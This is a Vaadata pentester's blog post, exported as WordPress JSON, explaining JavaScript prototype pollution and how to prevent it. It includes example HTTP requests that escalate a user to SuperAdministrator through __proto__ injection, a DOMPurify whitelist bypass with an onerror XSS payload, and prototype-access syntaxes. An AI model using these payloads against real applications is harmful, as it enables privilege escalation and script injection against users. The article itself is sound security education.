{"id":10281,"date":"2024-08-06T11:34:25","date_gmt":"2024-08-06T09:34:25","guid":{"rendered":"https:\/\/www.vaadata.com\/blog\/?p=10281"},"modified":"2024-08-06T11:34:28","modified_gmt":"2024-08-06T09:34:28","slug":"what-is-prototype-pollution-exploitations-and-security-tips","status":"publish","type":"post","link":"https:\/\/www.vaadata.com\/blog\/what-is-prototype-pollution-exploitations-and-security-tips\/","title":{"rendered":"What is Prototype Pollution? Exploitations and Security Tips"},"content":{"rendered":"<div class=\"wp-block-image\">\n<figure class=\"alignright size-large is-resized\"><img decoding=\"async\" width=\"1024\" height=\"535\" src=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/08\/prototype-pollution-vulnerability-1024x535.png\" alt=\"What is Prototype Pollution? Exploitations and Security Tips\" class=\"wp-image-10316\" style=\"width:417px;height:auto\" srcset=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/08\/prototype-pollution-vulnerability-1024x535.png 1024w, https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/08\/prototype-pollution-vulnerability-300x157.png 300w, https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/08\/prototype-pollution-vulnerability-1536x803.png 1536w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n<\/div>\n\n\n<p>Prototype pollution vulnerabilities are specific to JavaScript. They can be exploited on both the server and client sides. These vulnerabilities allow attackers to execute malicious code or steal data.<\/p>\n\n\n\n<p>It is therefore crucial to understand and address these vulnerabilities. This article details the principles of prototype pollution vulnerabilities, server-side and client-side exploits, as well as the measures to implement to counter these attacks.<\/p>\n\n\n\n<!--more-->\n\n\n\n<h2 class=\"wp-block-heading\">What is Prototype Pollution?<\/h2>\n\n\n\n<p>As mentioned in the introduction, &#8220;prototype pollution&#8221; vulnerabilities are specific to JavaScript due to its particular management of objects. This reduces the likelihood of exploitation on the server side.<\/p>\n\n\n\n<p>On the other hand, the attack surface on the client side is much greater, as JavaScript is universally used by modern browsers.<\/p>\n\n\n\n<p>To understand this security vulnerability, it is important to explain how objects are instantiated and what prototypes are in JavaScript.<\/p>\n\n\n\n<h3 class=\"wp-block-heading has-text-color has-link-color wp-elements-97ae389649624851417ec174ff509322\" style=\"color:#c0b800\">Javascript objects and prototypes<\/h3>\n\n\n\n<p>Object-oriented development is a programming paradigm based on objects. Objects are sets of data contained in fields. They can represent concrete concepts, such as a car, or abstract concepts, such as a widget.<\/p>\n\n\n\n<p>JavaScript allows objects to be used. They can be created as follows:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>car = {color : \u00ab red \u00bb, power : \u00ab 90ch \u00bb}<\/code><\/pre>\n\n\n\n<p>The object thus created has 2 <strong>properties<\/strong>: &#8220;color&#8221; and &#8220;power&#8221;. These properties are of string type, but they could also be an integer, a Boolean, a function or even another object.<\/p>\n\n\n\n<p>In JavaScript, all objects automatically have basic functionality thanks to the <strong>prototype<\/strong> mechanism.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" width=\"1024\" height=\"428\" src=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/08\/object-prototype-1024x428.png\" alt=\"\" class=\"wp-image-10251\" srcset=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/08\/object-prototype-1024x428.png 1024w, https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/08\/object-prototype-300x125.png 300w, https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/08\/object-prototype.png 1374w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\">Prototype of the &#8220;car&#8221; object<\/figcaption><\/figure>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" width=\"706\" height=\"178\" src=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/08\/tostring-property.png\" alt=\"\" class=\"wp-image-10254\" style=\"width:548px;height:auto\" srcset=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/08\/tostring-property.png 706w, https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/08\/tostring-property-300x76.png 300w\" sizes=\"(max-width: 706px) 100vw, 706px\" \/><figcaption class=\"wp-element-caption\">toString() property<\/figcaption><\/figure>\n<\/div>\n\n\n<p>Here we can see that the object already has the toString() function, even though it hasn&#8217;t been explicitly defined. This is made possible by the prototype of the &#8220;car&#8221; object.<\/p>\n\n\n\n<p>This prototype can be accessed using:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>car.__proto__<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading has-text-color has-link-color wp-elements-72a34ca2f125aa540cf39998272ef985\" style=\"color:#c0b800\">Basics of prototype pollution<\/h3>\n\n\n\n<p>It is possible to rewrite the object&#8217;s properties, which take precedence over the prototype&#8217;s properties. For example, you can create a custom toString() function. This process is called shadowing.<\/p>\n\n\n\n<p>A &#8220;Prototype Pollution&#8221; vulnerability occurs when the user can modify the prototype&#8217;s properties.<\/p>\n\n\n\n<p>By changing the prototype of an object, a user can impact all the other objects.<\/p>\n\n\n\n<p>Using the previous example:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" width=\"1024\" height=\"275\" src=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/08\/object-pollution-1024x275.png\" alt=\"\" class=\"wp-image-10259\" srcset=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/08\/object-pollution-1024x275.png 1024w, https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/08\/object-pollution-300x80.png 300w, https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/08\/object-pollution.png 1354w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\">Pollution of another object<\/figcaption><\/figure>\n\n\n\n<p>The toString() function has been modified, and all objects inherit from this new function.<\/p>\n\n\n\n<p>Let&#8217;s take a look at the impact this can have in concrete exploitations on both the server and client sides.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Exploiting Server-Side Prototype Pollution<\/h2>\n\n\n\n<p>This type of vulnerability often exists because of vulnerable libraries. We are going to look at a simple exploitation of a Prototype Pollution, but one that nevertheless has an impact.<\/p>\n\n\n\n<h3 class=\"wp-block-heading has-text-color has-link-color wp-elements-4f3461bf658ce31b6d5a58898af274d9\" style=\"color:#c0b800\">Context<\/h3>\n\n\n\n<p>A role system is quite common in an application. Let&#8217;s imagine a simple system with three roles:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>&#8220;User&#8221;: who can only add and modify documents;<\/li>\n\n\n\n<li>&#8220;Administrator&#8221;: who can view, create users and access all the documents in their company;<\/li>\n\n\n\n<li>&#8220;SuperAdministrator&#8221;: reserved for employees of the application publisher, who have access to all organisations to resolve customer problems.<\/li>\n<\/ul>\n\n\n\n<p>Within a given organisation, only &#8220;Administrator&#8221; users can change the role of another account.<\/p>\n\n\n\n<p><strong>The request is as follows:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>PATCH \/user\/info \/137 HTTP\/2\nHost: backend.target.com\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko\/20100101 Firefox\/112.0\nAccept: application\/json, text\/plain, *\/*\nAccept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3\nAccept-Encoding: gzip, deflate\nContent-Type: application\/json\nAuthorization: JWT tokenCollaborateur\nReferer: https:\/\/app.target.com\/\n\n{\"first name\u201d: \u201cJohn\u201d, \u201clast name\u201d: \u201cDoe\u201d, \u201cemail\u201d: \u201cjohndoe@gmail.com\u201d, \u201crole\u201d: \u201cAdministrator\u201d}<\/code><\/pre>\n\n\n\n<p><strong>And the response:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>HTTP\/2 200 OK\nDate: Thu, 25 Jul 2024 09:34:26 GMT\nContent-Type: application\/json\nServer: nginx\nAllow: GET, PUT, PATCH, DELETE, HEAD, OPTIONS\nX-Frame-Options: DENY\nX-Content-Type-Options: nosniff\nReferrer-Policy: same-origin\nCross-Origin-Opener-Policy: same-origin\nVary: Origin\nAccess-Control-Allow-Origin: *\n{\"first name\u201d: \u201cJohn\u201d, \u201clast name\u201d: \u201cDoe\u201d, \u201cemail\u201d: \u201cjohndoe@gmail.com\u201d, \u201crole\u201d: \u201cAdministrator\u201d}<\/code><\/pre>\n\n\n\n<p>The ID 137 account has just been upgraded to the &#8220;Administrator&#8221; role. However, it is not possible to change it to &#8220;SuperAdministrator&#8221;.<\/p>\n\n\n\n<p>A server-side check requires a request with a session token corresponding to a &#8220;SuperAdministrator&#8221; to be used to grant this role.<\/p>\n\n\n\n<h3 class=\"wp-block-heading has-text-color has-link-color wp-elements-0fc232e7275842a20c0c163f0af046f2\" style=\"color:#c0b800\">Prototype pollution and privilege escalation<\/h3>\n\n\n\n<p>By exploiting a Prototype Pollution vulnerability, you can bypass this protection and escalate your privileges on the platform.<\/p>\n\n\n\n<p><strong>The exploitation request is as follows:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>PATCH \/user\/info \/137 HTTP\/2\nHost: backend.target.com\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko\/20100101 Firefox\/112.0\nAccept: application\/json, text\/plain, *\/*\nAccept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3\nAccept-Encoding: gzip, deflate\nContent-Type: application\/json\nAuthorization: JWT tokenCollaborateur\nReferer: https:\/\/app.target.com\/\n\n{\"first name\u201d: \u201cJohn\u201d, \u201clast name\u201d: \u201cDoe\u201d, \u201cemail\u201d: \u201cjohndoe@gmail.com\u201d, \u201crole\u201d: \u201cAdministrator\u201d,\u201d__proto__\u201d:{\u201ctest\u201d:true, \u201crole\u201d:\u201dSuperAdministrator\u201d}}<\/code><\/pre>\n\n\n\n<p><strong>And we get the following response:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>HTTP\/2 200 OK\nDate: Thu, 25 Jul 2024 09:34:26 GMT\nContent-Type: application\/json\nServer: nginx\nAllow: GET, PUT, PATCH, DELETE, HEAD, OPTIONS\nX-Frame-Options: DENY\nX-Content-Type-Options: nosniff\nReferrer-Policy: same-origin\nCross-Origin-Opener-Policy: same-origin\nVary: Origin\nAccess-Control-Allow-Origin: *\n{\"first name\u201d: \u201cJohn\u201d, \u201clast name\u201d: \u201cDoe\u201d, \u201cemail\u201d: \u201cjohndoe@gmail.com\u201d, \u201crole\u201d: \u201cSuperAdministrator\u201d, \u201ctest\u201d: true}<\/code><\/pre>\n\n\n\n<p>The request will be accepted because the &#8220;role&#8221; parameter has an authorised value. The problem lies in the fact that the server modifies the object according to everything in the body of the request. Here, the user directly accesses the prototype of the User object.<\/p>\n\n\n\n<p>The impact is critical in this case, because a client with access only to its company can now modify all the clients present on the platform.<\/p>\n\n\n\n<p>Detecting the vulnerability was relatively simple in this example, as the parameters were reflected in the response. The &#8220;test&#8221; parameter was useful; its presence in the response made it clear that the application was vulnerable.<\/p>\n\n\n\n<h3 class=\"wp-block-heading has-text-color has-link-color wp-elements-50bbca0f35626eba1443a671543b5148\" style=\"color:#c0b800\">Other techniques for identifying server-side prototype pollution vulnerabilities<\/h3>\n\n\n\n<p>There are other techniques for detecting this vulnerability without causing a <a href=\"https:\/\/www.vaadata.com\/blog\/what-is-a-dos-attack-types-exploitations-and-security-tips\/\" target=\"_blank\" rel=\"noopener\" title=\"\">denial of service<\/a> on the application. Modifying the global prototype can lead to persistent changes in the Node process and affect the operation of the application for all users.<\/p>\n\n\n\n<p>The principle is to modify the application&#8217;s response without disrupting its operation. Here are a few methods:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Change the data encoding: Change the content-type so that the application responds in UTF-7 instead of UTF-8, for example.<\/li>\n\n\n\n<li>Change the HTTP response status: Use an HTTP code that the server does not normally return.<\/li>\n\n\n\n<li>Limit the number of parameters in a request: If the injection is successful, the server may not process all the parameters in the request, thus exceeding the limit and returning an error.<\/li>\n<\/ul>\n\n\n\n<p>Other <a href=\"https:\/\/portswigger.net\/research\/server-side-prototype-pollution\" target=\"_blank\" rel=\"noopener\" title=\"\">prototype pollution detection techniques are also described by Portswigger<\/a>.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Exploiting Client-Side Prototype Pollution<\/h2>\n\n\n\n<p>As JavaScript is the language used by browsers, pollution of a prototype can also occur on the client side. The impact will be different, but not necessarily less critical. This can make it possible to exploit JavaScript code injections, such as <a href=\"https:\/\/www.vaadata.com\/blog\/dom-based-xss-attacks-principles-impacts-exploitations-and-security-best-practices\/\" target=\"_blank\" rel=\"noopener\" title=\"\">DOM XSS attacks<\/a>.<\/p>\n\n\n\n<h3 class=\"wp-block-heading has-text-color has-link-color wp-elements-7ef1c431b82c8dba9b8c5ea79a13f60e\" style=\"color:#c0b800\">Identifying the vulnerability<\/h3>\n\n\n\n<p>Detecting such a vulnerability is much simpler here, because everything takes place in the browser that we control. Furthermore, there is no risk of causing a global denial of service.<\/p>\n\n\n\n<p>To check that the injection has succeeded, simply open the browser console and inspect the prototype.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" width=\"1024\" height=\"83\" src=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/08\/object-prototype-pollution-1024x83.png\" alt=\"\" class=\"wp-image-10273\" srcset=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/08\/object-prototype-pollution-1024x83.png 1024w, https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/08\/object-prototype-pollution-300x24.png 300w, https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/08\/object-prototype-pollution.png 1376w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\">Polluted object<\/figcaption><\/figure>\n\n\n\n<p>We&#8217;ll look at how the application&#8217;s security can be affected by this detection.<\/p>\n\n\n\n<h3 class=\"wp-block-heading has-text-color has-link-color wp-elements-3c8f44f157c1b0d4b3c9aeab26b3288d\" style=\"color:#c0b800\">Exploiting the vulnerability to bypass protections<\/h3>\n\n\n\n<p>For example, it is possible to bypass the protections of HTML sanitizers, such as <a href=\"https:\/\/github.com\/cure53\/DOMPurify\" target=\"_blank\" rel=\"noopener\" title=\"\">DOMPurify<\/a>, which eliminate undesirable HTML tags while authorising certain tags in rich text fields.<\/p>\n\n\n\n<p>These tools use a white list of authorised tags. Pollution of the prototype can be used to extend this white list.<\/p>\n\n\n\n<p>Before version 2.0.13 of DOMPurify, it was possible to extend the whitelist in this way (the parameters being passed in the URL):<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>?__proto__&#91;ALLOWED_ATTR]&#91;0]=onerror&amp;__proto__&#91;ALLOWED_ATTR]&#91;1]=src<\/code><\/pre>\n\n\n\n<p>The following payload can then be executed by the victim&#8217;s browser, as the attributes have been authorised by the pollution:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;img src=x onerror=alert(1)><\/code><\/pre>\n\n\n\n<p>The Burp extension, <a href=\"https:\/\/portswigger.net\/burp\/documentation\/desktop\/tools\/dom-invader\" target=\"_blank\" rel=\"noopener\" title=\"\">DOM Invader<\/a>, automatically identifies client-side prototype pollution. Its chrome plugin detects pollution by finding the source (the place where the JavaScript code is injected by the user) and the sink (the function that executes the code).<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" width=\"1024\" height=\"173\" src=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/08\/source-detection-dom-invader-1024x173.png\" alt=\"\" class=\"wp-image-10275\" srcset=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/08\/source-detection-dom-invader-1024x173.png 1024w, https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/08\/source-detection-dom-invader-300x51.png 300w, https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/08\/source-detection-dom-invader.png 1536w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\">Detecting the source<\/figcaption><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" width=\"1024\" height=\"209\" src=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/08\/gadget-identification-dom-invader-1024x209.png\" alt=\"\" class=\"wp-image-10277\" srcset=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/08\/gadget-identification-dom-invader-1024x209.png 1024w, https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/08\/gadget-identification-dom-invader-300x61.png 300w, https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/08\/gadget-identification-dom-invader-1536x314.png 1536w, https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2024\/08\/gadget-identification-dom-invader.png 1546w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\">Identifying the gadget<\/figcaption><\/figure>\n\n\n\n<p>In some cases, it is possible to go as far as exploitation by pressing the &#8220;Exploit&#8221; button.<\/p>\n\n\n\n<p>Note that there are several syntaxes for accessing the prototype of an object.<\/p>\n\n\n\n<p>In the URL:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>-\t ?__proto__&#91;polluted]=true\n-\t ?&#91;constructor]&#91;prototype]&#91;polluted]=true<\/code><\/pre>\n\n\n\n<p>In JSON:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>{\n    \"constructor\": {\n        \"prototype\": {\n            \"polluted\": true\n        }\n    }\n}<\/code><\/pre>\n\n\n\n<p>This can be useful for bypassing very basic protections.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">How to Prevent Prototype Pollution Vulnerabilities?<\/h2>\n\n\n\n<p>How can you protect yourself from the vulnerability described in this article? Here are some recommendations:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Update dependencies:<\/strong> this is general advice for all security issues, but particularly important here, as the vulnerability is often introduced by third-party components.<\/li>\n\n\n\n<li><strong>Strictly control parameters:<\/strong> using a whitelist of expected values can help prevent problems, including massive assignments.<\/li>\n\n\n\n<li><strong>Use Object.freeze():<\/strong> this function prevents any modification to the object on which it is called, which helps prevent pollution.<\/li>\n\n\n\n<li>Manipulating the prototype: another solution is to set the prototype to <code>null<\/code>, like this: <code>Object.create(null)<\/code><\/li>\n<\/ul>\n\n\n\n<p><strong>Author: Julien BRACON &#8211; Pentester @Vaadata<\/strong><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Prototype pollution vulnerabilities are specific to JavaScript. They can be exploited on both the server and client sides. These vulnerabilities allow attackers to execute malicious code or steal data. It is therefore crucial to understand and address these vulnerabilities. This article details the principles of prototype pollution vulnerabilities, server-side and client-side exploits, as well as<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[],"class_list":{"0":"post-10281","1":"post","2":"type-post","3":"status-publish","4":"format-standard","6":"category-technical"},"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.vaadata.com\/blog\/wp-json\/wp\/v2\/posts\/10281","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.vaadata.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.vaadata.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.vaadata.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.vaadata.com\/blog\/wp-json\/wp\/v2\/comments?post=10281"}],"version-history":[{"count":10,"href":"https:\/\/www.vaadata.com\/blog\/wp-json\/wp\/v2\/posts\/10281\/revisions"}],"predecessor-version":[{"id":10326,"href":"https:\/\/www.vaadata.com\/blog\/wp-json\/wp\/v2\/posts\/10281\/revisions\/10326"}],"wp:attachment":[{"href":"https:\/\/www.vaadata.com\/blog\/wp-json\/wp\/v2\/media?parent=10281"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.vaadata.com\/blog\/wp-json\/wp\/v2\/categories?post=10281"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.vaadata.com\/blog\/wp-json\/wp\/v2\/tags?post=10281"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}